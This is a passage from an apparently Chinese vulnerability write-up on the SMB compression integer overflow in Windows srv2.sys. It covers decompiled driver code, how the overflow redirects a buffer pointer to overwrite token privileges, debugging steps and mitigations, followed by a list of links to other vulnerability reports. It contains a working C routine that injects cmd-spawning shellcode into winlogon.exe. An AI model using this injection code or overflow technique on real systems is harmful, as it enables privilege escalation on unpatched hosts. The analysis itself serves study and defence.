函数所示,SMB Header构造中original decompressed size(原始未压缩数据的长度)设置的值很大,与真实值不等,这就是造成溢出的地方。发送的SMB数据包包括未压缩数据(data_1)和压缩数据(data_2)。data1_1的数据长度字段为offset(0x10)。数据包
注入shellcode
已经将当前进程提权,再通过注入常规的
shellcode
到windows进程winlogon.exe
中执行任意代码,这里是开启cmd。void inject(void) { PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); uint8_t shellcode[] = { 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x6D, 0x64, 0x00, 0x54, 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xff, 0xc2, // inc edx (1 = SW_SHOW) 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3, 0x00 }; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); int pid = -1; //1. 寻找 winlogon.exe if (Process32First(snapshot, &entry) == TRUE) { while (Process32Next(snapshot, &entry) == TRUE) { if (lstrcmpiA(entry.szExeFile, "winlogon.exe") == 0) { pid = entry.th32ProcessID; break; } } } CloseHandle(snapshot); if (pid < 0) { printf("Could not find process\n"); return; } printf("Injecting shellcode in winlogon...\n"); HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (hProc == NULL) { printf("Could not open process\n"); return; } LPVOID lpMem = VirtualAllocEx(hProc, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (lpMem == NULL) { printf("Remote allocation failed\n"); return; } //2. 将shellcode插入到winlogon.exe if (!WriteProcessMemory(hProc, lpMem, shellcode, sizeof(shellcode), 0)) { printf("Remote write failed\n"); return; } if (!CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lpMem, 0, 0, 0)) { printf("CreateRemoteThread failed\n"); return; } printf("Success! ;)\n"); }
3.2 驱动分析
通过网上该漏洞的介绍,了解到漏洞发生的位置在Windows驱动srv2.sys中,且存在于解压相关函数中,通过IDA加载srv2.sys以及对应的符号文件进行分析。
Srv2DecompressData(srv2.sys)
signed __int64 __fastcall Srv2DecompressData(__int64 smb_packet) { __int64 smb_packet_n; // rdi@1 __int64 smb_header_n; // rax@1 __m128i v3; // xmm0@2 __m128i v4; // xmm0@2 unsigned int v5; // ebp@2 __int64 v7; // rax@4 __int64 v8; // rbx@4 int v9; // eax@7 __m128i Size; // [sp+30h] [bp-28h]@2 int v11; // [sp+60h] [bp+8h]@1 v11 = 0; smb_packet_n = smb_packet smb_header_n = *(_QWORD *)(smb_packet + 240); if ( *(_DWORD *)(smb_header + 36) < 0x10u ) return 3221227787i64; v3 = *(__m128i *)*(_QWORD *)(smb_header_n + 24);//根据SMB header,v3对应offset字段 Size = v3; v4 = _mm_srli_si128(v3, 8); v5 = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 80) + 496i64) + 140i64); if ( v5 != v4.m128i_u16[0] ) return 3221225659i64; LODWORD(v7) = SrvNetAllocateBuffer((unsigned int)(Size.m128i_i32[1] + v4.m128i_i32[1]), 0i64); v8 = v7; if ( !v7 ) return 3221225626i64; if ( SmbCompressionDecompress( v5, *(_QWORD *)(*(_QWORD *)(smb_packet_n + 240)+24i64)+(unsigned int)Size.m128i_u32[3] + 16i64, (unsigned int)(*(_DWORD *)(*(_QWORD *)(smb_packet_n + 240) + 36i64) - Size.m128i_i32[3] - 16), (unsigned int)Size.m128i_u32[3] + *(_QWORD *)(v7 + 0x18)) < 0 || (v9 = 0, 0 != Size.m128i_i32[1]) ) { SrvNetFreeBuffer(v8); return 3221227787i64; } if ( Size.m128i_i32[3] ) { memmove(*(void **)(v8 + 24), (const void *)(*(_QWORD *)(*(_QWORD *)(smb_packet_n + 240) + 24i64) + 16i64), Size.m128i_u32[3]); v9 = 0; } *(_DWORD *)(v8 + 36) = Size.m128i_i32[3] + v9; Srv2ReplaceReceiveBuffer(smb_packet_n, v8); return 0i64; }
如上代码所示,漏洞产生的原因就在第25行,当前函数调用
SrvNetAllocateBuffer
函数给SMB数据包分配内存,但是传入的参数是压缩数据与未压缩数据长度之和,这个长度可能发生溢出,但是这里并没有进行溢出判断。在之前的POC中,正是利用这一点,传入一个较大的长度触发整数溢出。SrvNetAllocateBuffer(srvnet.sys)
PSLIST_ENTRY __usercall SrvNetAllocateBuffer@<rax>(__int64 a1@<rax>, __int64 a2@<rdx>, unsigned __int64 a3@<rcx>) { int v3; // ebp@1 unsigned int v4; // esi@1 __int64 v5; // r14@1 signed __int16 v6; // di@1 __int64 v7; // rcx@4 int v8; // eax@4 __int64 v9; // rdx@6 __int64 v10; // rax@6 __int64 v11; // rdi@6 PSLIST_ENTRY v12; // rbx@8 __int64 v13; // rax@9 struct __declspec(align(16)) _SLIST_ENTRY *v14; // rax@9 unsigned __int64 v16; // rcx@16 unsigned int v17; // eax@18 void *v18; // rcx@20 __int16 v19; // ax@20 struct __declspec(align(16)) _SLIST_ENTRY *v20; // rax@24 v3 = *MK_FP(__GS__, 420i64); v4 = 0; v5 = a2; v6 = 0; if ( SrvDisableNetBufferLookAsideList || a3 > 0x100100 ) { if ( a3 > 0x1000100 ) return 0i64; LODWORD(v20) = SrvNetAllocateBufferFromPool(a3, a3); v12 = v20; } else { if ( a3 > 0x1100 ) { v16 = a3 - 256; _BitScanReverse64((unsigned __int64 *)&a2, v16); _BitScanForward64((unsigned __int64 *)&a1, v16); if ( (_DWORD)a2 == (_DWORD)a1 ) v4 = a2 - 12; else v4 = a2 - 11; } v7 = SrvNetBufferLookasides[(unsigned __int64)v4]; v8 = *(_DWORD *)v7 - 1; if ( (unsigned int)(unsigned __int16)v3 + 1 < *(_DWORD *)v7 ) v8 = (unsigned __int16)v3 + 1; v9 = (unsigned int)v8; v10 = *(_QWORD *)(v7 + 32); v11 = *(_QWORD *)(v10 + 8 * v9); if ( !*(_BYTE *)(v11 + 112) ) PplpLazyInitializeLookasideList(v7, *(_QWORD *)(v10 + 8 * v9)); ++*(_DWORD *)(v11 + 20); v12 = ExpInterlockedPopEntrySList((PSLIST_HEADER)v11); if ( !v12 ) { ++*(_DWORD *)(v11 + 24); v13 = *(_QWORD *)(v11 + 48); LODWORD(v14) = _guard_dispatch_icall_fptr( *(_DWORD *)(v11 + 36), *(_DWORD *)(v11 + 44), *(_DWORD *)(v11 + 40), v11); v12 = v14; } v6 = 2; } if ( v12 ) { LOWORD(v12[1].Next) |= v6; WORD1(v12[1].Next) = v4; WORD2(v12[1].Next) = v3; if ( v5 ) { v17 = *(_DWORD *)(v5 + 36); if ( v17 >= LODWORD(v12[2].Next) ) v17 = (unsigned int)v12[2].Next; v18 = (void *)*((_QWORD *)&v12[1].Next + 1); HIDWORD(v12[2].Next) = v17; memmove(v18, *(const void **)(v5 + 24), v17); v19 = *(_WORD *)(v5 + 22); if ( v19 ) { WORD3(v12[1].Next) = v19; memmove((char *)&v12[6].Next + 4, (const void *)(v5 + 100), 16i64 * *(_WORD *)(v5 + 22)); } } else { HIDWORD(v12[2].Next) = 0; } } return v12; }
srvnet!SrvNetAllocateBuffer
中,对于传入的大小做了判断(34行-44行),小于0x1100
(POC为0xf)的时候将会传入固定的值0x1100
作为后面结构体空间的内存分配值进行相应运算。SrvNetBufferLookasides
是一个数组,值分别为[‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]。SrvNetBufferLookasides
数组通过函数SrvNetCreateBufferLookasides
初始化,实际SrvNetCreateBufferLookasides
循环调用了SrvNetBufferLookasideAllocate
分配内存。unsigned __int64 __fastcall SrvNetBufferLookasideAllocate(__int64 a1, __int64 a2) { return SrvNetAllocateBufferFromPool(a1, a2); }
SrvNetBufferLookasideAllocate
函数实际是调用SrvNetAllocateBufferFromPool
来分配内存。unsigned __int64 __fastcall SrvNetAllocateBufferFromPool(__int64 a1, unsigned __int64 a2) { unsigned int v2; // esi@1 unsigned __int64 v3; // rdi@4 SIZE_T v4; // rax@5 unsigned __int64 v5; // rbp@5 signed __int64 v6; // rax@6 unsigned __int64 v7; // rbx@7 char *v8; // rdx@10 signed __int32 v9; // ecx@11 signed __int64 v10; // r9@13 unsigned __int64 v11; // rdi@13 unsigned __int64 v12; // r8@13 int v13; // edx@13 __int64 v14; // r9@13 unsigned __int64 v15; // rdx@13 signed __int64 v16; // r8@13 unsigned __int64 result; // rax@13 v2 = a2; if ( a2 > 0xFFFFFFFF ) return 0i64; if ( (unsigned int)a2 >= 0xFFFFFFFFFFFFFFB0ui64 ) return 0i64; if ( (unsigned __int64)(unsigned int)a2 + 88 < (unsigned __int64)(unsigned int)a2 + 80 ) return 0i64; v3 = (unsigned int)a2 + 232i64; if ( v3 < (unsigned __int64)(unsigned int)a2 + 88 ) return 0i64; v4 = MmSizeOfMdl(0i64, (unsigned int)a2 + 232i64); v5 = v4 + 8; if ( v4 + 8 < v4 ) return 0i64; v6 = 2 * v5; if ( !is_mul_ok(2ui64, v5) ) return 0i64; v7 = v6 + v3; if ( v6 + v3 < v3 ) return 0i64; if ( v7 < 0x1000 ) { v7 = 4096i64; } else if ( v7 > 0xFFFFFFFF ) { return 0i64; } v8 = (char *)ExAllocatePoolWithTag((POOL_TYPE)512, v7, 0x3030534Cu); if ( !v8 ) { _InterlockedIncrement((volatile signed __int32 *)&unk_1C002DEB8); return 0i64; } v9 = v7 + _InterlockedExchangeAdd((volatile signed __int32 *)&unk_1C002DEB4, v7); if ( (signed int)v7 > 0 ) { while ( v9 > dword_1C002DEBC && _InterlockedCompareExchange(&dword_1C002DEBC, v9, dword_1C002DEBC) != v9 ) ; } v10 = (signed __int64)(v8 + 80); v11 = (unsigned __int64)&v8[v2 + 0x57] & 0xFFFFFFFFFFFFFFF8ui64; *(_QWORD *)(v11 + 48) = v8; *(_QWORD *)(v11 + 80) = (v11 + v5 + 151) & 0xFFFFFFFFFFFFFFF8ui64; v12 = (v11 + 151) & 0xFFFFFFFFFFFFFFF8ui64; *(_QWORD *)(v11 + 0x18) = v8 + 0x50; *(_QWORD *)(v11 + 56) = v12; *(_WORD *)(v11 + 16) = 0; *(_WORD *)(v11 + 22) = 0; *(_DWORD *)(v11 + 32) = v2; *(_DWORD *)(v11 + 36) = 0; v13 = ((_WORD)v8 + 80) & 0xFFF; *(_DWORD *)(v11 + 40) = v7; *(_DWORD *)(v11 + 64) = 0; *(_QWORD *)(v11 + 72) = 0i64; *(_QWORD *)(v11 + 88) = 0i64; *(_DWORD *)(v11 + 96) = 0; *(_QWORD *)v12 = 0i64; *(_WORD *)(v12 + 8) = 8 * ((((unsigned __int16)v13 + (unsigned __int64)v2 + 4095) >> 12) + 6); *(_WORD *)(v12 + 10) = 0; *(_QWORD *)(v12 + 32) = v10 & 0xFFFFFFFFFFFFF000ui64; *(_DWORD *)(v12 + 44) = v13; *(_DWORD *)(v12 + 40) = v2; MmBuildMdlForNonPagedPool(*(PMDL *)(v11 + 56)); MmMdlPageContentsState(*(_QWORD *)(v11 + 56), 1i64); *(_WORD *)(*(_QWORD *)(v11 + 56) + 10i64) |= 0x1000u; v14 = *(_QWORD *)(v11 + 80); v15 = *(_QWORD *)(v11 + 24) & 0xFFFFFFFFFFFFF000ui64; v16 = *(_QWORD *)(v11 + 24) & 0xFFFi64; result = v11; *(_QWORD *)v14 = 0i64; *(_WORD *)(v14 + 8) = 8 * (((v16 + (unsigned __int64)v2 + 4095) >> 12) + 6); *(_WORD *)(v14 + 10) = 0; *(_QWORD *)(v14 + 32) = v15; *(_DWORD *)(v14 + 44) = v16; *(_DWORD *)(v14 + 40) = v2; *(_WORD *)(*(_QWORD *)(v11 + 80) + 10i64) |= 4u; return result; }
如48行所示,在函数
SrvNetAllocateBufferFromPool
中,对于用户请求的内存分配大小,内部通过ExAllocatePoolWithTag
函数分配的内存实际要大于请求值(多出部分用于存储部分内存相关数据结构)。ExAllocatePoolWithTag
函数的返回值为v8
(指向分配内存的地址)。如61行所示,
v11 (return_buffer)
指向一个内存数据结构,该内存数据结构起始地址同实际分配内存(函数ExAllocatePoolWithTag
分配的内存)起始地址的的偏移为0x1150
;如65行所示,
v11+0x18
位置指向了实际分配内存起始地址偏移0x50
位置处,而最终return_buffer
会作为函数SrvNetAllocateBuffer
的返回值。最终
return_buffer
会作为函数SrvNetAllocateBuffer
的返回值。Srv2DecompressData (29行)
SmbCompressionDecompress(v5,*(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + (unsigned int)Size.m128i_u32[3] + 16i64,(unsigned int)(*(_DWORD *)(*(_QWORD *)(v1 + 240) + 36i64) - Size.m128i_i32[3] - 16),(unsigned int)Size.m128i_u32[3] + *(_QWORD *)(v7 + 24))
在进行内存分配之后,
Srv2DecompressData
调用函数SmbCompressionDecompress
开始解压被压缩的数据。SmbCompressionDecompress(srvnet.sys)
__int64 __fastcall SmbCompressionDecompress(int a1, __int64 a2, __int64 a3, __int64 a4, unsigned int a5, unsigned int *a6) { PVOID v6; // rdi@1 __int64 v7; // r14@1 __int64 v8; // r15@1 int v9; // ebx@2 int v10; // ecx@3 int v11; // ecx@4 signed __int16 v12; // bx@6 unsigned int *v13; // rsi@12 unsigned int v14; // ebp@12 int v16; // [sp+40h] [bp-28h]@1 SIZE_T NumberOfBytes; // [sp+70h] [bp+8h]@1 v16 = 0; v6 = 0i64; LODWORD(NumberOfBytes) = 0; v7 = a4; v8 = a2; if ( !a1 ) goto LABEL_2; v10 = a1 - 1; if ( v10 ) { v11 = v10 - 1; if ( v11 ) { if ( v11 != 1 ) LABEL_2: return (unsigned int)-1073741637; v12 = 4; } else { v12 = 3; } } else { v12 = 2; } if ( RtlGetCompressionWorkSpaceSize((unsigned __int16)v12, &NumberOfBytes, &v16) < 0 || (v6 = ExAllocatePoolWithTag((POOL_TYPE)512, 0i64, 0x2532534Cu)) != 0i64 ) { v13 = a6; v14 = a5; v9 = RtlDecompressBufferEx2((unsigned __int16)v12, v7, a5, v8); if ( v9 >= 0 ) *v13 = v14; if ( v6 ) ExFreePoolWithTag(v6, 0x2532534Cu); } else { v9 = -1073741670; } return (unsigned int)v9; }
如47行所示,该函数调用了Windows库函数
RtlDecompressBufferEx2
来实现解压,根据RtlDecompressBufferEx2
的函数原型来对应分析SmbCompressionDecompress
函数的各个参数。- a1: SmbCompressionDecompress(CompressAlgo,//压缩算法
- a2: Compressed_buf,//指向数据包中的压缩数据
- a3: Compressed_size,//数据包中压缩数据大小,计算得到
- a4: UnCompressedBuf, //解压后的数据存储地址,(unsigned int)Size.m128i_u32[3] + *(_QWORD *)(v7 + 0x18),也就是 (return_buffer+0x18)+0x10
- a5: UnCompressedSize,//压缩数据原始大小,源于数据包OriginalCompressedSegmentSize
- a6: FinalUnCompressedSize)//最终解压后数据大小。
3.3 数据溢出分析
SMB数据包
分配的内存
解压压缩文件
在解压压缩数据时,将压缩数据解压后放入
(return_buffer+0x18)+0x10
处,也就是0x60
处,但是由于分配的user_buf区域小于压缩数据长度,导致数据溢出到memory manage struct
。上图是根据POC构造的SMB数据所画,最终
(return_buffer+0x18)
所指向的地址被修改,指向的地址变为token_40_addr
。处理未压缩文件
如 Srv2DecompressData(41行)所示:
if ( Size.m128i_i32[3] ) { memmove(*(void **)(v8 + 0x18), (const void *)(*(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + 16i64), Size.m128i_u32[3]); v9 = 0; }
解压压缩数据完成后,判断offset字段是否为0,不为0则将未压缩数据复制到
(return_buffer+0x18)
处,但是由于(return_buffer+0x18)
被修改,导致数据写入了别的地址,最终实现的效果就是修改了权限字段的值,到达提权的效果。4 动态调试
静态调试部分已经弄清楚漏洞如何被利用,动态调试部分只是查看静态分析过程中的一些特殊的值,只是进行简单的分析。
查看整数溢出
bp srv2!Srv2DecompressData
如上图所示,在设置断点之后,单步执行到调用
SrvNetAllocateBuffer
之前的几条汇编指令,并查看寄存器的值。rcx
的值就是整数加法溢出后的结果。实际分配内存
如上图所示,在
srvnet!SrvNetAllocateBufferFromPool
设置断点,调用nt!ExAllocatePoolWithTag
前查看寄存器的值。rdx
即是SMB解压过程中实际分配的大小,比0x1100大一些是需要存储memory manage struct
5 漏洞修补方法
5.1 更新,完成补丁的安装。
操作步骤:设置->更新和安全->Windows更新,点击“检查更新”。
5.2 微软给出了临时的应对办法:
运行
regedit.exe
,打开注册表编辑器,在HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\ Parameters
建立一个名为DisableCompression的DWORD
,值为1,禁止SMB的压缩功能。5.3 对SMB通信445端口进行封禁
参考链接
https://paper.seebug.org/1164/#0x05
https://www.cnblogs.com/A66666/p/29635a243378b49ccb485c7a280df989.html
https://paper.seebug.org/1168/#_7
-
Easy RM to MP3 Converter漏洞分析报告
2017-08-17 09:18:00Easy RM to MP3 Converter漏洞分析报告 软件名称:PCManFTP 软件版本:2.0 漏洞模块:RM2MP3Converter.exe 模块版本:2.7.3.700 编译日期:2006-09-29 操作系统:Windows XP/2003/7/8.1/10 ... -
Struts2 S2 – 032远程代码执行漏洞分析报告
2016-04-30 10:23:48Struts2 S2 – 032远程代码执行漏洞分析报告 一、漏洞基本信息 CVE编号:CVE-2016-3081 漏洞名称:Struts2 S2 – 032远程代码执行 漏洞发布日期:2016.4.15 受影响的软件及系统:Struts2版本:Struts2 2.0.0 -... -
Office 2003 sp3(CVE-2012-0158)漏洞分析报告
2019-09-07 10:26:39文章目录Office 2003 sp3(CVE-2012-0158)漏洞分析报告1.漏洞背景2.漏洞成因2.1 触发漏洞2.2 定位漏洞模块2.3 定位漏洞函数2.4 分析漏洞成因2.5 总结3.利用过程3.1 分析和设计利用漏洞的ShellCode的结构3.2 寻找... -
goahead处理json_GoAhead远程代码执行漏洞分析报告
2020-12-28 19:50:15原标题:GoAhead远程代码执行漏洞分析报告 0x01介绍CVE-2017-17562是一个基于GoAhead web server < 3.6.5的远程代码执行漏洞,本文将对该漏洞的细节进行描述。漏洞的成因是由于GoAhead允许用户通过参数,构造任意... -
ImageMagick popen_utf8 命令注入漏洞分析报告
2017-06-13 11:57:01ImageMagick popen_utf8 命令注入漏洞分析报告 时间:2016-08-09 17:07 来源:知道创宇404安全实验室 作者:SecYe安全 阅读:728次 一、漏洞概要 i. 漏洞描述 ImageMagick是一款使用量很广的图片处理... -
漏洞分析报告-PCManFTP v2.0(CVE-2013-4730)
2019-10-07 22:54:13PCManFTP v2.0(CVE-2013-4730)漏洞分析报告 软件名称:PCManFTP 软件版本:2.0 漏洞模块:PCManFTPD2.exe 模块版本:2.0.0.0 编译日期:2005-01-01 操作系统:Windows XP/2003/7/8.1/10... -
PCManFTP v2.0(CVE-2013-4730)漏洞分析报告
2018-12-17 15:43:00PCManFTP v2.0(CVE-2013-4730)漏洞分析报告 感谢李燕青的排版 软件名称:PCManFTP 软件版本:2.0 漏洞模块:PCManFTPD2.exe 模块版本:2.0.0.0 编译日期:2005-01-01 操作系统:... -
Struts2 S2 – 032远程代码执行漏洞分析报告 .
2017-06-07 17:26:34Struts2 S2 – 032远程代码执行漏洞分析报告 一、漏洞基本信息 CVE编号:CVE-2016-3081 漏洞名称:Struts2 S2 – 032远程代码执行 漏洞发布日期:2016.4.15 受影响的软件及系统:Struts2版本:Struts2 2.0.0 -... -
Jumpserver 任意命令执行漏洞分析报告
2021-01-19 21:14:09报告编号:B6-2021-011803 报告来源:360CERT 报告作者:360CERT 更新日期:2021-01-19 0x01漏洞简述 2021年01月18日,360CERT监测发现Jumpserver发布了远程命令执行漏洞的风险通告,漏洞等级:高危,漏洞评分:8.5... -
友盟SDK越权漏洞分析报告
2020-06-29 15:25:25经过分析验证,360Vulpecker安全团队将此漏洞细节第一时间提交给友盟进行修复。10月18日,友盟官方发布最新版3.1.3修复漏洞。为了确保受此漏洞影响的终端用户有充分的时间进行安全更新,12月6日,360Vulpecker安全... -
MS12-043(CVE-2012-1889)漏洞分析报告
2017-03-02 10:19:06MS12-043(CVE-2012-1889)漏洞分析报告 软件名称:Internet Explorer 软件版本:6.0.2900 -
用哪种语言写的应用漏洞最严重?六大主流语言代码漏洞分析报告出炉
2020-12-28 13:56:35静态代码分析安全公司 Veracode 近日发布了一份应用程序分析报告,结果发现比起 JavaScript 和 Python 等语言,C++ 和 PHP 的安全漏洞要严重得多。 如果你是一位靠 .NET、C++、Java、JavaScript、PHP 或 Python ... -
CVE-2017-11882漏洞分析报告
2018-12-27 21:03:16复现漏洞(漏洞分析) 让后让程序运行起来,再在office文档中打开exploit.rtf OD断下后,结合前面的行为(弹出了计算器)那应该是创建了个进程 (CreateProcessA/WinExec) 如果发现没有断点断下,进程直接跑... -
APP SDK漏洞WormHole虫洞漏洞分析报告
2016-08-01 17:16:00漏洞原理: 这个漏洞是基于客户端端口接收任意ip的连接,这个端口是java层nanohttp实现的,并且这个http服务是不死服务,百度取名叫ImmortalService,为什么叫不死服务呢?原因是这个http服务在手机后台一直... -
绿坝漏洞分析报告
2009-06-12 21:35:00密歇根大学研究人员今日发布了一份绿坝的分析报告,报告中指出了一些绿坝的安全隐患,包括一个可以被远程利用的栈溢出漏洞。这三名研究人员分别是密歇根 大学计算机系的Scott Wolchok, Randy Yao和J. Alex Halderman... -
金融行业安全漏洞分析报告
2017-08-01 15:22:00报告介绍 互联网+时代的到来,人们充分享受新时代科技创新成果的便利同时,万物互联带来的信息安全风险也日渐提高,信息泄密事件层出不穷,在资金体量庞大、用户信息集中、安全隐患影响深远的金融领域,所面临的安全... -
漏洞分析报告-CVE-2012-1889(暴雷漏洞)
2018-05-30 17:32:00CVE-2012-1889漏洞分析及利用(暴雷漏洞) 软件名称:Microsoft Internet Explorer 软件版本:6.0\8.0 漏洞模块:msxml3.dll 模块版本:-- 编译日期:2008-04-14 操作系统:Windows XP/7 漏洞... -
CVE-2018-0802漏洞分析报告
2018-12-27 21:27:46漏洞poc https://github.com/rxwx/CVE-2018-0802 打开文档,会弹出一个计算器 漏洞复现 环境:office2007,x32dbg,010editor 安装公式编辑器3.0的补丁。 这个补丁修复了cve-2017-11882这个漏洞 证明:打开利用...